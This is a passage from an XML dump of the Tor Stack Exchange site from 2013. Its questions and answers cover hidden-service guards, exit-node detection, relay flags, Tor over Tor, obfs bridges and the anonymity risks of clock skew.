fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH HAND&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2013-10-08T00:48:15.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="418" PostTypeId="2" ParentId="403" CreationDate="2013-10-08T01:06:07.860" Score="3" Body="&lt;p&gt;The geoip data is pretty good, but it is far from perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Maxmind says an IP is in a given country, it is not at all guaranteed that it is actually in that country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, yes, even if Maxmind is correct about the location of the relays your tor daemon is connecting to, the exit can easily tunnel your traffic to a different country and your tor daemon would not notice.&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2013-10-08T01:06:07.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="419" PostTypeId="2" ParentId="380" CreationDate="2013-10-08T01:26:37.273" Score="7" Body="&lt;p&gt;The short version is: If you happen to be an entry node for a hidden service, and you connect to that same hidden service, you can tell you're its entry node (and what its IP is) by correlating the traffic you're sending to the hidden service with the traffic you're sending to a client (which is the hidden service).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If hidden services didn't use guards and instead frequently picked new entrance nodes, then to locate a hidden service you'd just need to operate an entrance node and frequently connect to the hidden service you want to locate. Eventually, you would be its entry node, and you could determine which of your clients it was by simply correlating your own traffic to the HS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using entry guards means only a small set of not-frequently-changing nodes can perform this kind of attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The long version is: read the 2013 paper linked above, and the &quot;&lt;a href=&quot;https://blog.torproject.org/blog/hidden-services-need-some-love&quot; rel=&quot;noreferrer&quot;&gt;hidden services need some love&lt;/a&gt;&quot; Tor Project blog post. (And don't rely on hidden services alone in a life or death situation!)&lt;/p&gt;&#xA;" OwnerUserId="305" LastEditorUserId="88" LastEditDate="2013-10-08T13:13:58.537" LastActivityDate="2013-10-08T13:13:58.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="420" PostTypeId="1" AcceptedAnswerId="472" CreationDate="2013-10-08T02:12:41.033" Score="5" ViewCount="1241" Body="&lt;p&gt;On page 11 and 12 of this document:&#xA;&lt;a href=&quot;http://www.theguardian.com/world/interactive/2013/oct/04/egotistical-giraffe-nsa-tor-document&quot;&gt;http://www.theguardian.com/world/interactive/2013/oct/04/egotistical-giraffe-nsa-tor-document&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;they say it's easy to dinstinguish Tor users from non-Tor users because of Torbutton. They are probably using some user-agent+javascript stuff.&#xA;But still, if someone wants to distinguish Tor users from non-Tor users, why not look up their IP address? If the IP is from an exit node, then we have a Tor user! Why do you think they aren't looking at the problem that way? Or I'm missing something..&lt;/p&gt;&#xA;" OwnerUserId="306" LastActivityDate="2013-10-11T19:36:00.437" Title="Tor fingerprinting on NSA Egotisticalgiraffe document" Tags="|fingerprinting|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="421" PostTypeId="2" ParentId="352" CreationDate="2013-10-08T03:02:55.787" Score="4" Body="&lt;p&gt;I see much potential for using encrypted, redundantly-distributed and plausibly-deniable (and better yet, hidden) storage backends for hidden services. Freenet is one possibility. Tahoe-LAFS is another. Cleversafe would have been another (perhaps the best) had it stayed open-source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine a system where each storage node is a hidden service. Nodes would link via VPN tunnels through Tor. Nodes would either have local storage, or securely access various cloud storage services. Given that nodes would only be storing splits of encrypted data, cloud storage is safe enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Servers accessible to users would be diskless reverse proxies, connected via private VPN through Tor, for servers running hidden services. Those servers would also be diskless, pulling both hidden service credentials and content from backend storage grids, connected via private VPN through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very belated edit: So now we have IPFS, and it works well via OnionCat, which is an IPv6 overlay on Tor onion services. Using an anonymously leased VPS as a proxy, one can also join the clearnet swarm. Please see &lt;a href=&quot;https://ipfs.io/ipfs/QmYKQvBsbYrRhdaGvQXcEoSam7s5gKVYULfRgNPzN5JM8N/IPFS-via-OnionCat.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ipfs.io/ipfs/QmYKQvBsbYrRhdaGvQXcEoSam7s5gKVYULfRgNPzN5JM8N/IPFS-via-OnionCat.html&lt;/a&gt;. That's also available through an onion IPFS gateway at &lt;a href=&quot;http://yvjsuxfapdwwxjrr.onion:8080/ipfs/QmYKQvBsbYrRhdaGvQXcEoSam7s5gKVYULfRgNPzN5JM8N/IPFS-via-OnionCat.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://yvjsuxfapdwwxjrr.onion:8080/ipfs/QmYKQvBsbYrRhdaGvQXcEoSam7s5gKVYULfRgNPzN5JM8N/IPFS-via-OnionCat.html&lt;/a&gt;. I also have a simple onion site at &lt;a href=&quot;http://tegggpdehz3nxzf3.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tegggpdehz3nxzf3.onion/&lt;/a&gt; that displays contents of folders added in OnionCat-linked peers. See &lt;a href=&quot;https://www.reddit.com/r/ipfs/comments/5blmf0/ipfs_via_onioncat_and_anonymous_proxy/d9u397a/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/ipfs/comments/5blmf0/ipfs_via_onioncat_and_anonymous_proxy/d9u397a/&lt;/a&gt;. Using IPFS through an OnionCat-linked clearnet proxy is currently a very bad idea, because throughput for IPFS nodes is ~10 GB per day. IPFS devs are working on options to regulate resource usage. But OnionCat-only nodes have very little throughput.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2016-11-10T09:52:29.440" LastActivityDate="2016-11-10T09:52:29.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="423" PostTypeId="1" CreationDate="2013-10-08T09:02:22.753" Score="29" ViewCount="17244" Body="&lt;p&gt;We received an &lt;a href=&quot;https://atlas.torproject.org/&quot;&gt;Atlas&lt;/a&gt; &lt;a href=&quot;https://trac.torproject.org/projects/tor/attachment/ticket/9913/explain-relay-flags.patch&quot;&gt;patch&lt;/a&gt; that adds tooltips to relay flags, so that relay operators can better understand what these flags mean.  The patch author used &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt#l1522&quot;&gt;dir-spec.txt&lt;/a&gt; as their guide.  I wonder if these are good explanations, or if they should be closer to the spec or even implementation, or if they should be more general.  Here are the suggestions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BadExit: This relay breaks stuff, either maliciously or through misconfiguration.&lt;/li&gt;&#xA;&lt;li&gt;Fast: This relay has lots of bandwidth available.&lt;/li&gt;&#xA;&lt;li&gt;Guard: This relay is suitable to be the first hop (entry relay) in a Tor circuit.&lt;/li&gt;&#xA;&lt;li&gt;HSDir: This relay is a v2 hidden service directory.&lt;/li&gt;&#xA;&lt;li&gt;Named: This relay has a nickname.&lt;/li&gt;&#xA;&lt;li&gt;Running: This relay has been online within the past 45 minutes.&lt;/li&gt;&#xA;&lt;li&gt;Stable: This relay is considered stable.&lt;/li&gt;&#xA;&lt;li&gt;V2Dir: This relay supports the v2 directory protocol.&lt;/li&gt;&#xA;&lt;li&gt;Valid: This relay is running a version of Tor not known to be broken, and the directory authority has not blacklisted it as suspicious.&lt;/li&gt;&#xA;&lt;li&gt;Unnamed: This relay's configured nickname is used by another relay.&lt;/li&gt;&#xA;&lt;li&gt;Exit: This relay is configured to be the last hop (exit relay) in a Tor circuit.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are there better phrasings for some/all of these?&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="923" LastEditDate="2014-03-03T01:30:17.980" LastActivityDate="2019-02-21T22:34:06.967" Title="What are good explanations for relay flags?" Tags="|relays|flags|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="424" PostTypeId="2" ParentId="390" CreationDate="2013-10-08T09:17:18.877" Score="2" Body="&lt;p&gt;Using &lt;a href=&quot;https://tails.boum.org/about/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt; in separate, encrypted (if you have persistent stuff) VMs is &lt;em&gt;probably&lt;/em&gt; a safe option, as it provides near-complete isolation of separate identities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this won't save you if you accidentally use credentials from both identities in the same VM.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-10-08T09:17:18.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="425" PostTypeId="2" ParentId="13" CreationDate="2013-10-08T10:37:58.183" Score="3" Body="&lt;p&gt;If you wanted to host a hidden service on multiple servers each with different introduction points then couldn't you have each hidden-service instance publish their own set of hidden-service descriptors?&#xA;You could distinguish between them by assigning each instance a different set of replica numbers to use when generating hidden service descriptor-ids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although now that I think of it there would probably be problems with the clients not knowing how many replicas there are (think it's currently hardcoded to 2).&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2013-10-08T10:37:58.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="426" PostTypeId="2" ParentId="420" CreationDate="2013-10-08T13:10:11.520" Score="2" Body="&lt;p&gt;While it is definitely very possible to see that the traffic is coming from an IP that is an exit node, regular traffic could possibly be coming out of the exit node as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite the fact that the Tor Project suggests that you use a dedicated IP address (&lt;a href=&quot;https://blog.torproject.org/running-exit-node&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/running-exit-node&lt;/a&gt; #2) for your exit node, it is possible for the operator to try to hide their traffic in the exit node's traffic which explains the need to fingerprint the Tor traffic as well.&lt;/p&gt;&#xA;" OwnerUserId="21" LastActivityDate="2013-10-08T13:10:11.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="427" PostTypeId="1" AcceptedAnswerId="433" CreationDate="2013-10-08T15:07:19.533" Score="15" ViewCount="11870" Body="&lt;p&gt;I've read somewhere that running Tor over another Tor connection is not only non-productive but actually dangerous?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: say I were running TBB on my machine and was running Whonix in 2 VMs on the same machine. Would it be better or worse or indifferent to map the whonix gateway's network connection to the host machine's Tor SOCKS5 proxy?&lt;/p&gt;&#xA;" OwnerUserId="21" LastEditorUserId="80" LastEditDate="2013-10-09T07:22:24.120" LastActivityDate="2017-07-18T02:43:08.903" Title="Is running Tor over Tor dangerous?" Tags="|onion-routing|torvm|whonix|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="428" PostTypeId="1" AcceptedAnswerId="480" CreationDate="2013-10-08T15:21:22.100" Score="9" ViewCount="642" Body="&lt;p&gt;Does using the pluggable transport Tor Browser Bundle with an Obfs3 bridge affect browsing speed in a noticeable way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am interested in using an Obfusproxy to hide my Tor usage form my ISP but I want to evaluate the effect on browsing speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that there are restrictions imposed by the bridge themselves (thanks alaf for that comment) but assuming that the obs bridge is equivalent to any guard node that I may connect to, how is my local resource different for obfs bridges versus regular Tor usage&lt;/p&gt;&#xA;" OwnerUserId="21" LastEditorUserId="21" LastEditDate="2013-10-08T17:25:46.040" LastActivityDate="2013-10-11T15:08:41.833" Title="How does the pluggable transport version of TBB affect browsing?" Tags="|tor-browser-bundle|pluggable-transports|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="429" PostTypeId="2" ParentId="413" CreationDate="2013-10-08T16:48:44.367" Score="11" Body="&lt;p&gt;&lt;em&gt;I am going to assume that the question is &amp;quot;How can volunteers be added to the Tor support team?&amp;quot; and give you a general answer. If this is more of a personal request, i.e. &amp;quot;How can Jens be added to the support team?&amp;quot;, please contact me directly.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Everyone can contribute to the Tor Project with something, regardless of whether they are employees, contractors, or volunteers. We really appreciate the hard work put into Tor by volunteers all over the world.&lt;/p&gt;&#xA;&lt;p&gt;If you want to help people better understand what Tor is and how to use it, I suggest you start with one (or more) of the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Sign up on &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo&quot; rel=&quot;nofollow noreferrer&quot;&gt;one ore more of our mailing lists&lt;/a&gt;, such as tor-talk, tor-dev, and tor-relays.&lt;/li&gt;&#xA;&lt;li&gt;Join us &lt;a href=&quot;https://www.torproject.org/contact/#irc&quot; rel=&quot;nofollow noreferrer&quot;&gt;on IRC&lt;/a&gt; (#tor and a number of other channels on irc.oftc.net).&lt;/li&gt;&#xA;&lt;li&gt;Contribute with questions and answers on &lt;a href=&quot;https://tor.stackexchange.com/&quot;&gt;our Stack Exchange page&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Review and &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/5811&quot; rel=&quot;nofollow noreferrer&quot;&gt;comment on&lt;/a&gt; how we can improve the &lt;a href=&quot;https://www.torproject.org/dist/manual/short-user-manual_en.xhtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;short user manual&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The &lt;em&gt;Tor Support Team&lt;/em&gt; (aka &amp;quot;&lt;em&gt;Support Team&lt;/em&gt;&amp;quot; and &amp;quot;&lt;em&gt;RT Team&lt;/em&gt;&amp;quot;) is a group of people who reply to &lt;a href=&quot;https://blog.torproject.org/blog/tor-help-desk-expands-four-more-languages&quot; rel=&quot;nofollow noreferrer&quot;&gt;support requests sent directly to our help desk&lt;/a&gt;. Most of the people in this group were &lt;a href=&quot;https://blog.torproject.org/blog/we-are-hiring-support-assistants-and-translators&quot; rel=&quot;nofollow noreferrer&quot;&gt;hired as contractors&lt;/a&gt; earlier this year, but some of them started out as volunteers.&lt;/p&gt;&#xA;&lt;p&gt;I am not against adding volunteers to the Tor Support Team, but I do want to ensure that the people we add are long-term volunteers known by The Tor Project. If you feel you fit into this category, and you want to be added to the Tor Support Team, please contact me directly.&lt;/p&gt;&#xA;" OwnerUserId="198" LastEditorUserId="6957" LastEditDate="2021-05-31T20:34:06.307" LastActivityDate="2021-05-31T20:34:06.307" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="430" PostTypeId="2" ParentId="428" CreationDate="2013-10-08T17:16:02.740" Score="3" Body="&lt;p&gt;There is no absolute answer to this question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your browsing experience, meaning mostly the lag to open or browse a web service, is depended on the resources of the obfuscate bridge you connect to. We can assume with fair certainty that some obfs bridges have more resources than other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's more, your experience will vary due to variance of usage of the obfs bridge in use, meaning if many users are exhausting its resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally your browsing experience will be degraded if one or more of the obfproxies you've chosen go offline. In that case you are not as flexible as when you connect to ordinary guard nodes. Instead, you have to fetch more obfs bridges'  IPs and use them as entry nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An insight on how Tor Project is distributing obfs bridges to users could be helpful but again obfs bridges and normal bridges is part of an arms race. Tor Projects needs to distribute bridge IPs to good people while keeping them secret from bad people. That makes public info on obfs bridges less accessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, my understanding is that bridges and obfs bridges are fewer than needed and an average bridge has less bandwidth than an average guard node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course a bridge with lower advertised bandwidth should be used by/distributed to fewer users, but that's not entirely controllable since it involves many parameters. &lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-10-08T17:16:02.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="431" PostTypeId="2" ParentId="427" CreationDate="2013-10-08T17:32:27.207" Score="4" Body="&lt;p&gt;The danger (beyond the performance hit) which keeps me from running Tor over Tor has to do with timing and congestion measurements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adversaries watching your traffic at the exit(s) of your circuits have a better chance of linking your Whonix activity with your TBB activity when those shared circuits slow down or drop packets at the same time.  This can happen without Tor over Tor when your instances use a common upstream link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The linkage will be made tighter and more explicit if you run the Whonix Tor traffic through your TBB SOCKS5 Tor circuits.  This tighter linkage raises the danger of successful correlation.&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2013-10-08T17:32:27.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="432" PostTypeId="1" AcceptedAnswerId="434" CreationDate="2013-10-08T17:53:32.630" Score="5" ViewCount="753" Body="&lt;p&gt;Tor users and Tor relays across the world have different time zones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does misconfigured time affects Tor operation either on client or server side? Is there a time skew margin in which Tor still operates well ? Could a misconfigured time zone in client distinguish her from other Tor users?&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-10-09T07:22:54.637" Title="How does misconfigured time affect Tor?" Tags="|relays|client|time|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="433" PostTypeId="2" ParentId="427" CreationDate="2013-10-08T19:05:21.377" Score="14" Body="&lt;p&gt;Quoted from &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO#ToroverTor&quot; rel=&quot;noreferrer&quot;&gt;TorifyHOWTO&lt;/a&gt; (written by me, but never been disputed):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When using a transparent proxy, it is possible to start a Tor session from the client as well as from the transparent proxy, creating a &amp;quot;Tor over Tor&amp;quot; scenario. Doing so produces undefined and potentially unsafe behavior. In theory, however, you can get six hops instead of three, but it is not guaranteed that you'll get three different hops - you could end up with the same hops, maybe in reverse or mixed order. It is not clear if this is safe. It has never been discussed.&lt;/p&gt;&#xA;&lt;p&gt;You can &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&quot; rel=&quot;noreferrer&quot;&gt;​choose an entry/exit point&lt;/a&gt;, but you get the best security that Tor can provide when you leave the route selection to Tor; overriding the entry / exit nodes can mess up your anonymity in ways we don't understand. Therefore Tor over Tor usage is highly discouraged.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/5611#comment:2&quot; rel=&quot;noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/5611#comment:2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-10-08T19:05:21.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="434" PostTypeId="2" ParentId="432" CreationDate="2013-10-08T19:36:41.420" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;Denial of Service: Tor will be unable to connect, if the system clock is more than 1 hour in the past or more than 3 hour in the future. (&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2012-February/023264.html&quot; rel=&quot;nofollow&quot;&gt;ref&lt;/a&gt;) Also hidden services can only be accessed if the clock is no more than 30 minutes ahead or behind. (&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/3582#comment:3&quot; rel=&quot;nofollow&quot;&gt;ref&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Tracking: Probably it is possible for guards (or bridges or anybody else who can see the initial connection) to probabilistically track a client with a skewed clock even as it changes IPs. (&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/7277&quot; rel=&quot;nofollow&quot;&gt;ref&lt;/a&gt;) (A &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/7277&quot; rel=&quot;nofollow&quot;&gt;fix&lt;/a&gt; is in the works.)&lt;/li&gt;&#xA;&lt;li&gt;Fingerprinting: Destination servers (also web tracking services such as google analytics) could reduce anonymity to pseudonymity when the clock skew is unique. (&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8751&quot; rel=&quot;nofollow&quot;&gt;ref&lt;/a&gt;) (A &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8751&quot; rel=&quot;nofollow&quot;&gt;fix&lt;/a&gt; for TBB might be in the works, I am unsure about other applications.)&lt;/li&gt;&#xA;&lt;li&gt;De-anonymiziation: An ISP watching the clock skew on one end - for example by checking TLS timestamps of misc applications such as software updaters - and cooperating with a destination server on the other end, can make educated guesses, when the clock skew is significant enough. Since most systems use unauthenticated network time synchronization (ntp), it might even be possible for an ISP to actively introduce the skew. I am not aware of any research papers, that explore how much clock skew is required to pull off this attack. (&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8751&quot; rel=&quot;nofollow&quot;&gt;ref&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="80" LastEditorUserId="291" LastEditDate="2013-10-09T07:22:54.637" LastActivityDate="2013-10-09T07:22:54.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="435" PostTypeId="1" AcceptedAnswerId="448" CreationDate="2013-10-08T20:50:23.477" Score="4" ViewCount="146" Body="&lt;p&gt;When looking at the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor manpage&lt;/a&gt; one sees lots of different options.  They range from general options to some which are specific to relays, hidden services etc. I'm asking myself if each of those options will play well with any other. Does the Tor project some kind of randomized testing of options? Like enabling a random set of options and try to start the Tor client (I would call it option fuzzing ;)). Is this something which is worth doing and how can this be done?&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-09T11:22:34.717" Title="Randomized testing of Tor options" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="436" PostTypeId="1" AcceptedAnswerId="468" CreationDate="2013-10-08T21:00:24.980" Score="9" ViewCount="3123" Body="&lt;p&gt;Recently I read that Tor switched from TAP handshake requests to NTor handshake requests. This seems to improve the performance and doesn't put such a high load on relays (&lt;a href=&quot;https://tor.stackexchange.com/q/115/88&quot;&gt;because of Mevade&lt;/a&gt;). However I couldn't find a description what TAP and NTor is. Could you provide an explanation and tell the difference between both?&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-09-22T07:45:30.087" Title="What is the difference between NTor and TAP?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="437" PostTypeId="1" CreationDate="2013-10-08T22:21:50.163" Score="5" ViewCount="1167" Body="&lt;p&gt;What is to prevent exit nodes from seeing the location of servers hosting Tor hidden services?&lt;/p&gt;&#xA;" OwnerUserId="318" LastActivityDate="2013-10-09T01:07:58.173" Title="How are Hidden Service Locations Protected From Exit Nodes?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="438" PostTypeId="2" ParentId="437" CreationDate="2013-10-08T22:42:54.540" Score="8" Body="&lt;p&gt;&lt;em&gt;TL;DR — When you visit a hidden service through Tor, your traffic is never exiting the Tor network (No exit node is involved) like the picture below.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aZckU.png&quot; alt=&quot;Tor hidden services final state&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An overview of how we get to the above picture without revealing either parties location to anyone is below. A comprehensive explanation (with more pictures) can be found &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a hidden service is created it randomly picks a few relays and builds circuits to them. It then asks them to be &quot;introductory points&quot; for the hidden service (but they don't know where it is because they're communicating with it via a Tor circuit). Once the hidden service has a few introductory points, it assembles a hidden service descriptor that lists those introductory points and its public key. It then signs this descriptor with its private key and sends it to a distributed hash table. When a client wants to contact that hidden service, it grabs the service descriptor from the DHT (using the .onion address). It then picks a random relay to use as a rendezvous point and tells it a secret. It then builds a circuit to that point, and creates an introductory message (which includes the rendezvous point's address and the secret) which is encrypted using the hidden services public key. It then sends that message to one of the introductory points which forwards it onto the hidden service. The hidden service then builds a circuit to that rendezvous point and tells it the same secret that it found in the introductory message. Now the rendezvous point can act as the middle man between the two circuits. It doesn't know the hidden services location, or the clients location, but it can forward data between them. The messages are end-to-end encrypted, so the rendezvous point never knows what the traffic is that it's forwarding.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-10-09T01:07:58.173" LastActivityDate="2013-10-09T01:07:58.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="439" PostTypeId="2" ParentId="423" CreationDate="2013-10-09T00:03:00.547" Score="13" Body="&lt;p&gt;So I discovered there are some decent one-liner descriptions written in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt?id=a442ab92e84a044ffe90cad37cd517e0f98e1bea#n2229&quot; rel=&quot;nofollow noreferrer&quot;&gt;dir-spec.txt&lt;/a&gt; after all. I propose I yoink these verbatim:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Authority&quot; if the router is a directory authority.&#xA;&quot;BadExit&quot; if the router is believed to be useless as an exit node&#xA;   (because its ISP censors it, because it is behind a restrictive&#xA;   proxy, or for some similar reason).&#xA;&quot;Exit&quot; if the router is more useful for building&#xA;   general-purpose exit circuits than for relay circuits.  The&#xA;   path building algorithm uses this flag; see path-spec.txt.&#xA;&quot;Fast&quot; if the router is suitable for high-bandwidth circuits.&#xA;&quot;Guard&quot; if the router is suitable for use as an entry guard.&#xA;&quot;HSDir&quot; if the router is considered a v2 hidden service directory.&#xA;&quot;NoEdConsensus&quot; if any Ed25519 key in the router's descriptor or&#xA;   microdesriptor does not reflect authority consensus.&#xA;&quot;Stable&quot; if the router is suitable for long-lived circuits.&#xA;&quot;Running&quot; if the router is currently usable over all its published&#xA;   ORPorts. (Authorities ignore IPv6 ORPorts unless configured to&#xA;   check IPv6 reachability.) Relays without this flag are omitted&#xA;   from the consensus, and current clients (since 0.2.9.4-alpha)&#xA;   assume that every listed relay has this flag.&#xA;&quot;Valid&quot; if the router has been 'validated'. Clients before&#xA;   0.2.9.4-alpha would not use routers without this flag by&#xA;   default. Currently, relays without this flag are omitted&#xA;   fromthe consensus, and current (post-0.2.9.4-alpha) clients&#xA;   assume that every listed relay has this flag.&#xA;&quot;V2Dir&quot; if the router implements the v2 directory protocol or&#xA;   higher.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="313" LastEditorUserId="19659" LastEditDate="2018-04-12T09:57:48.800" LastActivityDate="2018-04-12T09:57:48.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="440" PostTypeId="1" AcceptedAnswerId="444" CreationDate="2013-10-09T01:17:02.323" Score="5" ViewCount="509" Body="&lt;p&gt;Is it possible to run an exit relay through a VPN service? As long as the service provider has approved this, is it otherwise workable? Do any technical limitations or performance disadvantages make this unworkable? Assuming that there's adequate bandwidth, is the increased latency problematic?&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-10-10T01:59:11.663" LastActivityDate="2013-10-10T01:59:11.663" Title="Can I run an exit relay through a VPN service?" Tags="|exit-relays|vpn|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="441" PostTypeId="2" ParentId="190" CreationDate="2013-10-09T04:33:27.287" Score="11" Body="&lt;p&gt;Attempting to answer this specific question here, which perhaps will shed some light on the other points:&#xA;&lt;em&gt;Can somebody explain how the check.tp.o query works, for normal users, so its clear why this happens&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Torproject keeps -- &lt;a href=&quot;https://www.torproject.org/projects/onionoo.html.en&quot;&gt;and makes available&lt;/a&gt; -- an &lt;strong&gt;updated&lt;/strong&gt; list of all of the relay and bridge nodes that are currently running. So the torcheck app checks what your browser's IP address appears to be.  This is the IP address it reports that you appear to be coming from. This IP is checked against the current list of exit nodes and if it finds a match, it reports that you are connected to the Tor network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;False negatives most likely have to do with how we define the word updated, as bolded above. Onionoo, for example, collects this data &lt;a href=&quot;https://gitweb.torproject.org/onionoo.git/blob/HEAD:/DESIGN&quot;&gt;hourly&lt;/a&gt;. Which leaves the possibility of connecting via an exit node that began running after the last list update - simply a lag in reporting and no effect on actual status. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also some exit nodes might be modifying or otherwise configuring their exit ip address inconsistently with how they are reporting to the network.&lt;/p&gt;&#xA;" OwnerUserId="24" LastActivityDate="2013-10-09T04:33:27.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="442" PostTypeId="5" CreationDate="2013-10-09T04:37:23.930" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-10-09T04:37:23.930" LastActivityDate="2013-10-09T04:37:23.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
